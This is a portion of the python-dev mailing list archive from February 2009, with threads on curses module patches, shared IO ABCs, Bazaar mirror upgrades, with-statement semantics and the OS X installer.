ABCs I'd like to be sure it's the good choice. (of course, the *implementations* won't be shared at all. Just the virtual inheritance information) Regards Antoine. From tav at espians.com Wed Feb 25 17:07:37 2009 From: tav at espians.com (tav) Date: Wed, 25 Feb 2009 16:07:37 +0000 Subject: [Python-Dev] Paving the Way to Securing the Python Interpreter [Detailed Summary] Message-ID: Dear fellow Python lovers, I have written up a detailed summary on: http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html Please read it. In the article I give the rationale for my patch, which I've updated at: * http://codereview.appspot.com/20051/show Please review it. Consider it as simply a bug fix for the current set of restricted attributes in Python. In the article I also provide some much needed documentation on Python's existing restricted execution framework. Martin asked for this. Fell free to adapt the documentation into Doc/ articles. You can find the reStructuredText source of the article at http://github.com/tav/blog/tree/master Many thanks to everyone who took part in the challenge -- it was very informative and fun! Please let me know what else I need to do to get the patch accepted. Thanks! -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From techtonik at gmail.com Wed Feb 25 17:10:47 2009 From: techtonik at gmail.com (anatoly techtonik) Date: Wed, 25 Feb 2009 18:10:47 +0200 Subject: [Python-Dev] Adding support to curses library In-Reply-To: <20090225153417.GA9321@amk-desktop.matrixgroup.net> References: <22191916.post@talk.nabble.com> <22203899.post@talk.nabble.com> <20090225153417.GA9321@amk-desktop.matrixgroup.net> Message-ID: Please note that there is a pending change that will introduce curses module on Windows in http://bugs.python.org/issue2889 I would really like to see the patch in the issue integrated before it became invalid due to other patches to test curses on Windows. On Wed, Feb 25, 2009 at 5:34 PM, A.M. Kuchling wrote: > On Wed, Feb 25, 2009 at 06:30:06AM -0800, Heracles wrote: >> is commented back in it does fail. I am not sure exactly how a debugger will >> help in this case since the color_set call goes directly to the ncurses >> library. ?If in fact that the issue is the ncurses library then it seems >> that there is no feasible solution until that library is fixed, in which >> case this patch is sort of useless. > ... >> erg = color_set(color_pair_number, NULL); // Debating on forcing null > > What is color_pair_number in the C code? ?If it's some incorrect value > (-1? ?255?), maybe ncurses is indexing off an array and crashing. > > This is why a debugger might help; you could run the test program > until the crash and then print out the values of the relevant > variables. ?e.g. is stdscr set to a non-NULL value? ?There might be a > debugging version of ncurses that will let you look at the variables > inside the ncurses code, which may make the problem clear. > > --amk > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/techtonik%40gmail.com > -- --anatoly t. From steve at integrityintegrators.net Wed Feb 25 17:03:16 2009 From: steve at integrityintegrators.net (Heracles) Date: Wed, 25 Feb 2009 08:03:16 -0800 (PST) Subject: [Python-Dev] Adding support to curses library In-Reply-To: <20090225153417.GA9321@amk-desktop.matrixgroup.net> References: <22191916.post@talk.nabble.com> <22203899.post@talk.nabble.com> <20090225153417.GA9321@amk-desktop.matrixgroup.net> Message-ID: <22205860.post@talk.nabble.com> I took the suggestion and fired up a debugger and now I'm eating crow. First of all, here is a complete listing of the method as it is written now: ------------------ Snippet ----------------------------------- static PyObject * PyCurses_color_set(PyObject *self, PyObject *args) { short color_pair_number = 0; void * opts = NULL; int erg = ERR; /* These macros ought to be documented in the API docs but they aren't yet. */ PyCursesInitialised PyCursesInitialisedColor /* Per ncurses Man Page: The routine color_set sets the current color of the given window to the foreground/background combination described by the color_pair_number. The parameter opts is reserved for future use, applications must supply a null pointer. */ switch(PyTuple_Size(args)) { case 1: /* Dont make them pass a useless null pointer. */ if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL; case 2: /* Allow them to pass the opts pointer so that when ncurses is later updated. This method will still work. */ if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return NULL; default: PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments (color_pair_number[, opts]?)"); return NULL; } erg = color_set(color_pair_number, NULL); if (erg == ERR) return PyCursesCheckERR(erg, "color_set"); else return NULL; /* PyInt_FromLong((long) 1L); */ } ------------------ End Snippet ------------------------------------- Oddly enough, running the debugger showed me a different result than I expected by my bracketing approach. I falsely presumed that if by commenting out the line where the call to color_set is made, and running the program produces no segmentation fault, while commenting the same line back in reprduces the segmentation fault, that I could deduce that the line thus commented out was the source of the problem. Stupid me, that is apparently not the case. Apparently the segmentation fault is produced by a call to Python/getargs.c:Line 1207 if(! (*convert)(arg,addr)) Which is invoked as a result of calling this line in the function listed above: if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return NULL; A.M. Kuchling wrote: > > On Wed, Feb 25, 2009 at 06:30:06AM -0800, Heracles wrote: >> is commented back in it does fail. I am not sure exactly how a debugger >> will >> help in this case since the color_set call goes directly to the ncurses >> library. If in fact that the issue is the ncurses library then it seems >> that there is no feasible solution until that library is fixed, in which >> case this patch is sort of useless. > ... >> erg = color_set(color_pair_number, NULL); // Debating on forcing null > > What is color_pair_number in the C code? If it's some incorrect value > (-1? 255?), maybe ncurses is indexing off an array and crashing. > > This is why a debugger might help; you could run the test program > until the crash and then print out the values of the relevant > variables. e.g. is stdscr set to a non-NULL value? There might be a > debugging version of ncurses that will let you look at the variables > inside the ncurses code, which may make the problem clear. > > --amk > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/lists%40nabble.com > > :wistle::wistle::wistle: -- View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22205860.html Sent from the Python - python-dev mailing list archive at Nabble.com. From guido at python.org Wed Feb 25 18:29:56 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 25 Feb 2009 09:29:56 -0800 Subject: [Python-Dev] Shared ABCs for the IO implementation In-Reply-To: References: Message-ID: On Wed, Feb 25, 2009 at 7:35 AM, Antoine Pitrou wrote: > I would like to know if both IO implementations (the C one and the Python one) > should share their ABCs (IOBase, RawIOBase, etc.). It looks preferable to me but > since I'm not very familiar with ABCs I'd like to be sure it's the good choice. > > (of course, the *implementations* won't be shared at all. Just the virtual > inheritance information) Without a shared ABC you'd defeat the whole point of having ABCs. However, importing ABCs (which are defined in Python) from C code (especially such fundamental C code as the I/O library) is really subtle and best avoided. In io.py I solved this by having a Python class inherit from both the ABC (RawIOBase) and the implementation (_fileio._FileIO). Another way to solve it would be to use the registration API for ABCs, as found in _abcoll.py (e.g. MutableSequence.register(list)). -- --Guido van Rossum (home page: http://www.python.org/~guido/) From Scott.Daniels at Acm.Org Wed Feb 25 19:09:08 2009 From: Scott.Daniels at Acm.Org (Scott David Daniels) Date: Wed, 25 Feb 2009 10:09:08 -0800 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> Message-ID: Barry Warsaw wrote: >> I've just upgraded the Bazaar mirrors on code.python.org to use bzr >> 1.12. We now have the opportunity to upgrade the repository format >> for better performance. Because of the bzr-svn requirement, we need a >> "rich root" format. Upgrading to 1.9-rich-root could buy us some >> significant performance improvements, but it will require all clients >> to upgrade to at least bzr 1.9, which was released on November 7, 2008. >> >> I would like to do this upgrade. If you are currently using the >> Bazaar mirrors at code.python.org and upgrading your client to at >> least bzr 1.9 would be a hardship, please contact me. If I don't hear >> any objections by say Tuesday, I'll go ahead and do the repo upgrades. > > This is now done. Please let me know if you have any problems with the > mirrors. I'd suggest updating the text at http://www.python.org/dev/bazaar/ In particular: What do I need? * Bazaar 1.0 or newer. As of this writing (04-Nov-2008) Bazaar 1.8 is the most recent release. As Bazaar is written in Python (yay!), it is available for all major platforms, See the Bazaar home page for information about versions for your platform. --Scott David Daniels Scott.Daniels at Acm.Org From brett at python.org Wed Feb 25 19:43:38 2009 From: brett at python.org (Brett Cannon) Date: Wed, 25 Feb 2009 10:43:38 -0800 Subject: [Python-Dev] Allow __enter__() methods to skip the with statement body? In-Reply-To: <49A53881.3070908@gmail.com> References: <49A53881.3070908@gmail.com> Message-ID: On Wed, Feb 25, 2009 at 04:24, Nick Coghlan wrote: > An interesting discrepancy [1] has been noted when comparing > contextlib.nested (and contextlib.contextmanager) with the equivalent > nested with statements. > > Specifically, the following examples behave differently if > cmB().__enter__() raises an exception which cmA().__exit__() then > handles (and suppresses): > > with cmA(): > with cmB(): > do_stuff() > # This will resume here without executing "Do stuff" > > @contextlib.contextmanager > def combined(): > with cmA(): > with cmB(): > yield > > with combined(): > do_stuff() > # This will raise RuntimeError complaining that the underlying > # generator didn't yield > > with contextlib.nested(cmA(), cmB()): > do_stuff() > # This will raise the same RuntimeError as the contextmanager > # example (unsurprising, given the way nested() is implemented) > > The problem arises any time it is possible to skip over the yield > statement in a contextlib.contextmanager based context manager without > raising an exception that can be seen by the code calling __enter__(). > > I think the right way to fix this (as suggested by the original poster > of the bug report) is to introduce a new flow control exception along > the lines of GeneratorExit (e.g. SkipContext) and tweak the expansion of > the with statement [2] to skip the body of the statement if __enter__() > throws that specific exception: > > mgr = (EXPR) > exit = mgr.__exit__ # Not calling it yet > try: > value = mgr.__enter__() > except SkipContext: > pass # This exception handler is the new part... > else: > exc = True > try: > VAR = value # Only if "as VAR" is present > BLOCK > except: > # The exceptional case is handled here > exc = False > if not exit(*sys.exc_info()): > raise > # The exception is swallowed if exit() returns true > finally: > # The normal and non-local-goto cases are handled here > if exc: > exit(None, None, None) > > Naturally, contextlib.contextmanager would then be modified to raise > SkipContext instead of RuntimeError if the generator doesn't yield. The > latter two examples would then correctly resume execution at the first > statement after the with block. > > I don't see any other way to comprehensively fix the problem - without > it, there will always be some snippets of code which cannot correctly be > converted into context managers, and those snippets won't always be > obvious (e.g. the fact that combined() is potentially a broken context > manager implementation would surprise most people - it certainly > surprised me). > > Thoughts? Do people hate the idea? No, but I do wonder how useful this truly is. > Are there any backwards compatibility > problems that I'm missing? As long as the exception inherits from BaseException, no. > Should I write a PEP or just add the feature > to the with statement in 2.7/3.1? > Sounds PEPpy to me since you are proposing changing the semantics for a syntactic construct. -------------- next part -------------- An HTML attachment was scrubbed... URL: From steven.bethard at gmail.com Wed Feb 25 19:47:16 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 25 Feb 2009 10:47:16 -0800 Subject: [Python-Dev] Allow __enter__() methods to skip the with statement body? In-Reply-To: <49A53881.3070908@gmail.com> References: <49A53881.3070908@gmail.com> Message-ID: On Wed, Feb 25, 2009 at 4:24 AM, Nick Coghlan wrote: > An interesting discrepancy [1] has been noted when comparing > contextlib.nested (and contextlib.contextmanager) with the equivalent > nested with statements. > > Specifically, the following examples behave differently if > cmB().__enter__() raises an exception which cmA().__exit__() then > handles (and suppresses): > > ?with cmA(): > ? ?with cmB(): > ? ? ?do_stuff() > ?# This will resume here without executing "Do stuff" > > ?@contextlib.contextmanager > ?def combined(): > ? ?with cmA(): > ? ? ?with cmB(): > ? ? ? ?yield > > ?with combined(): > ? ?do_stuff() > ?# This will raise RuntimeError complaining that the underlying > ?# generator didn't yield > > ?with contextlib.nested(cmA(), cmB()): > ? ?do_stuff() > ?# This will raise the same RuntimeError as the contextmanager > ?# example (unsurprising, given the way nested() is implemented) > > The problem arises any time it is possible to skip over the yield > statement in a contextlib.contextmanager based context manager without > raising an exception that can be seen by the code calling __enter__(). If the problem is just the yield, can't this just be fixed by implementing contextlib.nested() as a class rather than as a @contextmanager decorated generator? Or is this a problem with class based context managers too? Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From dickinsm at gmail.com Wed Feb 25 20:03:29 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Wed, 25 Feb 2009 19:03:29 +0000 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> Message-ID: <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com> On Wed, Feb 25, 2009 at 2:23 PM, Barry Warsaw wrote: > This is now done. Please let me know if you have any problems with the > mirrors. Is the cron job that's supposed to update the bzr repository still running? I'm getting 'No revisions to pull' when I do 'bzr pull' for the py3k branch: Macintosh-3:py3k dickinsm$ bzr pull Using saved parent location: http://code.python.org/python/py3k/ No revisions to pull. ...which is a bit surprising, since my last 'bzr pull' was a while ago. Do I need to update something somewhere? I'm using bzr version 1.11 from macports. Mark From barry at python.org Wed Feb 25 20:05:28 2009 From: barry at python.org (Barry Warsaw) Date: Wed, 25 Feb 2009 14:05:28 -0500 Subject: [Python-Dev] Attention Bazaar mirror users In-Reply-To: <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com> References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org> <75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org> <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 25, 2009, at 2:03 PM, Mark Dickinson wrote: > On Wed, Feb 25, 2009 at 2:23 PM, Barry Warsaw > wrote: >> This is now done. Please let me know if you have any problems with >> the >> mirrors. > > Is the cron job that's supposed to update the bzr repository still > running? No. It was running on Thomas's machine but we just realized that it was broken. I'm working on moving the cronjob over to code.python.org. Stay tuned. Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSaWWeHEjvBPtnXfVAQLnPwP+OYls3161N9182B6ID9CmzsP5ynNxlcEv YhY70l0XVtEnIf1TEaXbSizPH7qHeVfWBzA2RnLYPATQllL0OkyqfNqM+gwlGYL5 GPmeo4Ue+Cls5vqvDRbrLW/y0QOOopYooVj/H0p1PsMy8ka3rlNJ7T2cpVMq00wq /VUhXWVSDUM= =06jz -----END PGP SIGNATURE----- From solipsis at pitrou.net Wed Feb 25 22:03:22 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Wed, 25 Feb 2009 21:03:22 +0000 (UTC) Subject: [Python-Dev] Shared ABCs for the IO implementation References: Message-ID: Guido van Rossum python.org> writes: > > Without a shared ABC you'd defeat the whole point of having ABCs. > > However, importing ABCs (which are defined in Python) from C code > (especially such fundamental C code as the I/O library) is really > subtle and best avoided. > > In io.py I solved this by having a Python class inherit from both the > ABC (RawIOBase) and the implementation (_fileio._FileIO). My plan (let's call it "the Operation") is to define the ABCs in Python by deriving the C concrete base classes (that is, have io.XXXIOBase derive _io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit both from ABC inheritance and fast C concrete implementations. In turn, the concrete implementations in _pyio (the Python version) would register() those ABCs. The reason I think the Python implementations shouldn't be involved in the default inheritance tree is that we don't want user classes to inherit a __del__ method. All this is assuming I haven't made any logic error. Otherwise, I'll have to launch "the new Operation". Regards Antoine. From guido at python.org Wed Feb 25 22:14:19 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 25 Feb 2009 13:14:19 -0800 Subject: [Python-Dev] Shared ABCs for the IO implementation In-Reply-To: References: Message-ID: On Wed, Feb 25, 2009 at 1:03 PM, Antoine Pitrou wrote: > Guido van Rossum python.org> writes: >> >> Without a shared ABC you'd defeat the whole point of having ABCs. >> >> However, importing ABCs (which are defined in Python) from C code >> (especially such fundamental C code as the I/O library) is really >> subtle and best avoided. >> >> In io.py I solved this by having a Python class inherit from both the >> ABC (RawIOBase) and the implementation (_fileio._FileIO). > > My plan (let's call it "the Operation") is to define the ABCs in Python by > deriving the C concrete base classes (that is, have io.XXXIOBase derive > _io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit > both from ABC inheritance and fast C concrete implementations. However that's hardly an ABC. You need to provide a path for someone who wants to implement the ABC without inheriting your implementation. > In turn, the concrete implementations in _pyio (the Python version) would > register() those ABCs. The reason I think the Python implementations shouldn't > be involved in the default inheritance tree is that we don't want user classes > to inherit a __del__ method. > > All this is assuming I haven't made any logic error. > Otherwise, I'll have to launch "the new Operation". -- --Guido van Rossum (home page: http://www.python.org/~guido/) From ncoghlan at gmail.com Wed Feb 25 22:28:58 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Thu, 26 Feb 2009 07:28:58 +1000 Subject: [Python-Dev] Allow __enter__() methods to skip the with statement body? In-Reply-To: References: <49A53881.3070908@gmail.com> Message-ID: <49A5B81A.9000207@gmail.com> Steven Bethard wrote: > If the problem is just the yield, can't this just be fixed by > implementing contextlib.nested() as a class rather than as a > @contextmanager decorated generator? Or is this a problem with class > based context managers too? It's a problem for class-based context managers as well. Setting aside the difficulties of actually maintaining nested()'s state on a class rather than in a frame (it's definitely possible, but also somewhat painful), you still end up in the situation where nested() knows that cmB().__enter__() threw an exception that was then handled by cmA().__exit__() and hence the body of the with statement should be skipped but no exception should occur from the point of view of the surrounding code. However, indicating that is not currently an option available to nested().__enter__(): it can either raise an exception (thus skipping the body of the with statement, but also propagating the exception into the surrounding code), or it can return a value (which would lead to the execution of the body of the with statement). Returning a value would definitely be wrong, but raising the exception isn't really right either. contextmanager is just a special case - the "skipped yield" inside the generator reflects the body of the with statement being skipped in the original non-context manager code. As to Brett's question of whether or not this is necessary/useful... the problem I really have with the status quo is that it is currently impossible to look at the following code snippets and say whether or not the created CM's are valid: cm = contextlib.nested(cmA(), cmB()) @contextlib.contextmanager def cm(): with cmA(): with cmB(): yield # Not tested, probably have the class version wrong # This should illustrate why nested() wasn't written # as a class-based CM though - this one only nests # two specifically named CMs and look how tricky it gets! class CM(object): def __init__(self): self.cmA = None self.cmB = None def __enter__(self): if self.cmA is not None: raise RuntimeError("Can't re-use this CM") self.cmA = cmA() self.cmA.__enter__() try: self.cmB = cmB() self.cmB.__enter__() except: self.cmA.__exit__(*sys.exc_info()) # Can't suppress in __enter__(), so must raise raise def __exit__(self, *args): suppress = False try: if self.cmB is not None: suppress = self.cmB.__exit__(*args) except: suppress = self.cmA.__exit__(*sys.exc_info()): if not suppress: # Exception has changed, so reraise explicitly raise else: if suppress: # cmB already suppressed the exception, # so don't pass it to cmA suppress = self.cmA.__exit__(None, None, None): else: suppress = self.cmA.__exit__(*args): return suppress With the current with statement semantics, those CM's may raise exceptions where the original multiple with statement code would work fine. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From ncoghlan at gmail.com Wed Feb 25 22:31:48 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Thu, 26 Feb 2009 07:31:48 +1000 Subject: [Python-Dev] Shared ABCs for the IO implementation In-Reply-To: References: Message-ID: <49A5B8C4.6010103@gmail.com> Guido van Rossum wrote: > On Wed, Feb 25, 2009 at 1:03 PM, Antoine Pitrou wrote: >> Guido van Rossum python.org> writes: >>> Without a shared ABC you'd defeat the whole point of having ABCs. >>> >>> However, importing ABCs (which are defined in Python) from C code >>> (especially such fundamental C code as the I/O library) is really >>> subtle and best avoided. >>> >>> In io.py I solved this by having a Python class inherit from both the >>> ABC (RawIOBase) and the implementation (_fileio._FileIO). >> My plan (let's call it "the Operation") is to define the ABCs in Python by >> deriving the C concrete base classes (that is, have io.XXXIOBase derive >> _io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit >> both from ABC inheritance and fast C concrete implementations. > > However that's hardly an ABC. You need to provide a path for someone > who wants to implement the ABC without inheriting your implementation. Don't they already have that through register()? However, the other problem with setting up the inheritance as Antoine suggests is that it makes it impossible to import a pure Python version of the module. Once the Python code inherits from something provided only by the C module then the C version isn't optional any more. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From guido at python.org Wed Feb 25 22:41:53 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 25 Feb 2009 13:41:53 -0800 Subject: [Python-Dev] Shared ABCs for the IO implementation In-Reply-To: <49A5B8C4.6010103@gmail.com> References: <49A5B8C4.6010103@gmail.com> Message-ID: On Wed, Feb 25, 2009 at 1:31 PM, Nick Coghlan wrote: > Guido van Rossum wrote: >> On Wed, Feb 25, 2009 at 1:03 PM, Antoine Pitrou wrote: >>> Guido van Rossum python.org> writes: >>>> Without a shared ABC you'd defeat the whole point of having ABCs. >>>> >>>> However, importing ABCs (which are defined in Python) from C code >>>> (especially such fundamental C code as the I/O library) is really >>>> subtle and best avoided. >>>> >>>> In io.py I solved this by having a Python class inherit from both the >>>> ABC (RawIOBase) and the implementation (_fileio._FileIO). >>> My plan (let's call it "the Operation") is to define the ABCs in Python by >>> deriving the C concrete base classes (that is, have io.XXXIOBase derive >>> _io.XXXIOBase). This way, by inheriting io.XXXIOBase, user code will benefit >>> both from ABC inheritance and fast C concrete implementations. >> >> However that's hardly an ABC. You need to provide a path for someone >> who wants to implement the ABC without inheriting your implementation. > > Don't they already have that through register()? I'd like the ABCs to remain just as abstract or concrete as they are in 3.0. As long as the C version implements the same methods with the same semantics as the 3.0 io.py I don't care. > However, the other problem with setting up the inheritance as Antoine > suggests is that it makes it impossible to import a pure Python version > of the module. Once the Python code inherits from something provided > only by the C module then the C version isn't optional any more. I think this should be taken care of by having separate _pyio.py and _cio.py modules which are unified by io.py, right? (Or whatever naming convention is agreed upon; I skipped that thread. :-) -- --Guido van Rossum (home page: http://www.python.org/~guido/) From solipsis at pitrou.net Wed Feb 25 22:46:08 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Wed, 25 Feb 2009 21:46:08 +0000 (UTC) Subject: [Python-Dev] Shared ABCs for the IO implementation References: Message-ID: Guido van Rossum python.org> writes: > > However that's hardly an ABC. You need to provide a path for someone > who wants to implement the ABC without inheriting your implementation. I may missing something, but it's exactly the same as today's io.py: if you derive the ABC, you inherit the implementations at the same time. OTOH, as Nick says, one can just use register(). Regards Antoine. From rowen at u.washington.edu Wed Feb 25 22:53:13 2009 From: rowen at u.washington.edu (Russell E. Owen) Date: Wed, 25 Feb 2009 13:53:13 -0800 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions References: Message-ID: In article , Ned Deily wrote: > Speaking of an OS X installer for 3.0.1, over the last few weeks I have > been working on tidying up the OS X installer build process. While the > basic OS X build/installer process is good, some cruft has accumulated > over the past years and a number of mostly minor issues arose due to the > 3.x split. IMO, the most important issues were with IDLE and, thanks to > Ronald, we did get the most important fixes for OS X IDLE checked-in in > time for 3.0.1; they are also in py3k and will be going into trunk and > 26. I have a few other fixes that apply just to the OSX build/installer > parts which did not get submitted in time for the 3.0.1 cutoff but which > are ready to go for 3.x and 2.x. Basically they fix some version number > updating and ensure that the installer image will be built reproducibly > in a clean environment so there is no contamination of the installer > images. Currently, that's easy to do as happened with the first round > of the OS X 2.6 installer (e.g. with a locally installed Tcl/Tk). I want to follow up on this a bit. In the past if the Mac Python installer was built on a machine that did NOT have a locally installed Tcl/Tk then it would fail to work with a locally installed Tcl/Tk: Python would segfault when trying to use Tkinter. The solution was to build the Mac python installer on a machine with a locally installed Tcl/Tk. The resulting installer package would work on all systems -- with or without locally installed Tcl/Tk. So...has this problem been worked around, or is the Mac installer still built on a machine that has a locally installed Tcl/Tk? I haven't run Python 2.6 yet because there is no release of numpy that is compatible. I did try upgrading from 2.5.2 to 2.5.4 and got a segfault when trying to display images using PIL and Tkinter; I have not had time to try to track that down, so I've just reverted for now. Most people who makes serious use of Tkinter presumably have a locally installed Tcl/Tk because the version that Apple provides is ancient and is missing many important bug fixes and performance enhancements. Also, a somewhat related issue: Tcl/Tk 8.4 is no longer maintained. All development work is going on in Tcl/Tk 8.5. Presumably Apple will transition one of these days, and at that point we may need a separate Mac Python installer for the older operating systems vs. the newer. -- Rusell From guido at python.org Wed Feb 25 23:06:12 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 25 Feb 2009 14:06:12 -0800 Subject: [Python-Dev] Shared ABCs for the IO implementation In-Reply-To: References: Message-ID: On Wed, Feb 25, 2009 at 1:46 PM, Antoine Pitrou wrote: > Guido van Rossum python.org> writes: >> >> However that's hardly an ABC. You need to provide a path for someone >> who wants to implement the ABC without inheriting your implementation. > > I may missing something, but it's exactly the same as today's io.py: if you > derive the ABC, you inherit the implementations at the same time. > > OTOH, as Nick says, one can just use register(). OK then. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From steve at integrityintegrators.net Wed Feb 25 22:16:17 2009 From: steve at integrityintegrators.net (Heracles) Date: Wed, 25 Feb 2009 13:16:17 -0800 (PST) Subject: [Python-Dev] New curses module method addchstr, etc. Message-ID: <22211983.post@talk.nabble.com> Hello, I submitted my first patch recently for the curses color_set and wcolor_set functions. I am now working on addchstr, addchnstr, mvaddchstr, mvaddchnstr, mvwaddchstr, mvwaddchnstr, waddchstr and waddchnstr. I have implemented the non window specific methods as follows: /* Window.addchstr Inserted Steve Owens 2/25/2005 */ static PyObject * PyCursesWindow_AddChstr(PyCursesWindowObject *self, PyObject *args) { int x, y, n; PyStringObject *pS; switch (PyTuple_Size(args)) { case 1: if (!PyArg_ParseTuple(args, "S;(String) expected for waddchstr", &pS)) return NULL; return PyCursesCheckERR(waddchstr(self->win, (chtype*)PyString_AsString(pS)), "waddchstr"); case 2: if (!PyArg_ParseTuple(args, "Si;(String, int) expected for waddchnstr", &pS, &n)) return NULL; return PyCursesCheckERR(waddchnstr(self->win, (chtype*)PyString_AsString(pS), n), "waddchnstr"); case 3: if (!PyArg_ParseTuple(args,"iiS;(int, int, String) expected for mvwaddchstr", &y, &x, &pS)) return NULL; return PyCursesCheckERR(mvwaddchstr(self->win, y, x, (chtype*)PyString_AsString(pS)), "mvwaddchstr"); case 4: if (!PyArg_ParseTuple(args,"iiSi;(int, int, String, int) expected for mvwaddchnstr", &y, &x, &pS, &n)) return NULL; return PyCursesCheckERR(mvwaddchnstr(self->win, y, x, (chtype*)PyString_AsString(pS), n), "mvwaddchnstr"); default: PyErr_SetString(PyExc_TypeError, "addchstr requires 1 to 4 arguments"); } return NULL; } Now the thing is that when I make calls from python like so: curses.addchstr(5,10, "@ < Row 5, Col 10") curses.addchstr(8,10, "Below you should see ABCDEFG") curses.addchstr(9,10, "ABCDEFG") curses.addchstr(12,10, "Below you should see ABCD") curses.addchnstr(13,10, "ABCDEFGHI", 4) What prints out on the screen is gobledygook not the strings you would expect below. Any thoughts on how to correctly convert the PyStringObject arguments to chtype* pointers so that the ncurses library will be able to understand them? -- View this message in context: http://www.nabble.com/New-curses-module-method-addchstr%2C-etc.-tp22211983p22211983.html Sent from the Python - python-dev mailing list archive at Nabble.com. From steve at integrityintegrators.net Wed Feb 25 23:00:53 2009 From: steve at integrityintegrators.net (Heracles) Date: Wed, 25 Feb 2009 14:00:53 -0800 (PST) Subject: [Python-Dev] String conversion issues implementing new curses module method addchstr, etc. Message-ID: <22211983.post@talk.nabble.com> Hello, I submitted my first patch recently for the curses color_set and wcolor_set functions. I am now working on addchstr, addchnstr, mvaddchstr, mvaddchnstr, mvwaddchstr, mvwaddchnstr, waddchstr and waddchnstr. I have implemented the non window specific methods as follows: static PyObject * PyCurses_AddChstr(PyObject *self, PyObject *args) { int x, y, n; PyStringObject *pS = NULL; switch (PyTuple_Size(args)) { case 1: if (!PyArg_ParseTuple(args, "S;(String) expected for addchstr", &pS)) return NULL; return PyCursesCheckERR(addchstr((chtype*)PyString_AsString(pS)), "addchstr"); case 2: if (!PyArg_ParseTuple(args, "Si;(String, int) expected for addchnstr", &pS, &n)) return NULL; return PyCursesCheckERR(addchnstr((chtype*)PyString_AsString(pS), n), "addchnstr"); case 3: if (!PyArg_ParseTuple(args,"iiS;(int, int, String) expected for mvaddchstr", &y, &x, &pS)) return NULL; return PyCursesCheckERR(mvaddchstr(y, x, (chtype*)PyString_AsString(pS)), "mvaddchstr"); case 4: if (!PyArg_ParseTuple(args,"iiSi;(int, int, String, int) expected for mvaddchnstr", &y, &x, &pS, &n)) return NULL; return PyCursesCheckERR(mvaddchnstr(y, x, (chtype*)PyString_AsString(pS), n), "mvaddchnstr"); default: PyErr_SetString(PyExc_TypeError, "addchstr requires 1 to 4 arguments"); } return NULL; } Now the thing is that when I make calls from python like so: curses.addchstr(5,10, "@ < Row 5, Col 10") curses.addchstr(8,10, "Below you should see ABCDEFG") curses.addchstr(9,10, "ABCDEFG") curses.addchstr(12,10, "Below you should see ABCD") curses.addchnstr(13,10, "ABCDEFGHI", 4) What prints out on the screen is gobledygook not the strings you would expect below. Any thoughts on how to correctly convert the PyStringObject arguments to chtype* pointers so that the ncurses library will be able to understand them? -- View this message in context: http://www.nabble.com/String-conversion-issues-implementing-new-curses-module-method-addchstr%2C-etc.-tp22211983p22211983.html Sent from the Python - python-dev mailing list archive at Nabble.com. From starsareblueandfaraway at gmail.com Thu Feb 26 01:08:42 2009 From: starsareblueandfaraway at gmail.com (Roy H. Han) Date: Wed, 25 Feb 2009 19:08:42 -0500 Subject: [Python-Dev] PyCon 2009: Call for sprint projects In-Reply-To: References: Message-ID: <6a5569ec0902251608o5ea6c023ta0689ddb2c96d56f@mail.gmail.com> Hi Jacob, Will there be GeoDjango/OpenLayers subsprint in the Django sprint? Thanks, RHH On Mon, Feb 9, 2009 at 8:27 PM, Jacob Kaplan-Moss wrote: > Python-related projects: join the PyCon Development Sprints! > > The development sprints are a key part of PyCon, a chance for the contributors > to open-source projects to get together face-to-face for up to four days of > intensive learning and development. Newbies sit at the same table as the gurus, > go out for lunch and dinner together, and have a great time while advancing > their project. Sprints are one of the best parts of PyCon; in 2008 over 250 > sprinters came for at least one day! > > If your project would like to sprint at PyCon, now is the time to let us know. > We'll collect your info and publish it so that participants will have time to > make plans. We'll need to get the word out early so that folks 